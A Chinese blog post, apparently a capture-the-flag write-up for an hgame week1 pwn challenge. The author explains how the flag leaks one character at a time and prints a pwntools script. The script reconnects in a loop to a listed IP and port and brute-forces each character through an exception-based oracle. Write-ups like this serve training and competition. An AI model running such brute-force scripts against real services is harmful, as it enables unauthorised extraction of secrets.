2.3第九條咸魚

hgame week1

pwn

aaaaaaaaaa

圖片.png

瘋狂輸入a了解一下

圖片.png

薯片拯救世界

這道題感覺很奇怪

圖片.png

Ida是這樣

按照題目思路給一個buf的值 如果只給了一個h 而h恰好是s1第一個字母的話應(yīng)該會打破循環(huán)輸出點不一樣的東西然而事實上并沒有(程序試出來應(yīng)該是輸出勇者Ch1p在今天...覺醒了!)
emmmmmmmmmm
但是最后又的確是靠這個思路做出來的
因吹斯聽

flag頭幾個字母肯定是hgame{

先用一小段程序找了一下規(guī)律
主要邏輯是這樣

for i in range(32, 127): 
        sh.send(s + chr(i) + "\0")
        try:
            sh.recv()
        except:
            s+=chr(i)
            break
    print (s)

把s依次定義為h hg hga hgam 試了一下愉快地發(fā)現(xiàn)輸出來的字母要比真正字母的ASCII碼大2 我?????????????

至于為什么。。。這題已經(jīng)這么日怪了就不要在意這些了

然后爆破的思路就是nc瘋狂循環(huán)關(guān)閉再nc了
畢竟一次程序只能得到一個字母

所以最后exp是這樣的

from pwn import * 

s = 'hgame'
for a in range(24):
    sh=remote('118.24.3.214',10001)
    sh.send('1')
    sh.send('1')
    sh.send('1')
    sh.send('1')
    sh.send('1')
    
    for i in range(32, 127): 
        sh.send(s + chr(i) + "\0")
        try:
            sh.recv()
        except:
            s+=chr(i-2)
            break
    print (s)
    sh.close()
sh.interactive()

有個問題是每次運行都可能會發(fā)生錯誤得到錯誤的字母
這種時候手動更新一下s就行了
垃圾題

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 在C語言中,五種基本數(shù)據(jù)類型存儲空間長度的排列順序是: A)char B)char=int<=float C)ch...
    夏天再來閱讀 4,006評論 0 2
  • WSGI處理程序的入口點 重要方法:rest_framework.viewsAPIView.dispatch() ...
    tristan_xx閱讀 206評論 0 0
  • 2017.12.31 東湖--江漢路--江灘--前任三--酒店 2017到2018感謝你的愛
    依舊那么閱讀 52評論 0 0

友情鏈接更多精彩內(nèi)容